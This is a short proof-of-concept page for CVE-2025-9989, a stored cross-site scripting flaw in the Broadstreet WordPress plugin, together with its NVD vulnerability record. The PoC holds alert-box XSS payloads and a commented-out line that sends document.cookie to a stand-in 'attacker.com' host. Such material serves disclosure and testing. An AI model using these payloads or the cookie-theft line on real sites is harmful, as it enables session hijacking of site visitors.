CVE-2025-9989

<!-- PoC for CVE-2025-9989 (Stored XSS in Broadstreet Plugin) Context: Administrator Settings -> Inject payload into vulnerable field --> <script> // Proof of Concept: Alert box to verify execution alert('CVE-2025-9989 XSS Executed'); // Potential malicious action (commented out for safety): // var req = new XMLHttpRequest(); // req.open('GET', 'http://attacker.com/steal?c='+document.cookie, true); // req.send(); </script> <!-- Alternatively, if script tags are filtered by some basic checks but not fully sanitized --> <img src=x onerror=alert('CVE-2025-9989 XSS')>

{"cve": {"id": "CVE-2025-9989", "sourceIdentifier": "[email protected]", "published": "2026-05-13T05:16:13.740", "lastModified": "2026-05-13T14:43:46.717", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Broadstreet plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.53.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3524817", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f9b6e9a7-1ac5-45d0-83c3-a3f79935904a?source=cve", "source": "[email protected]"}]}}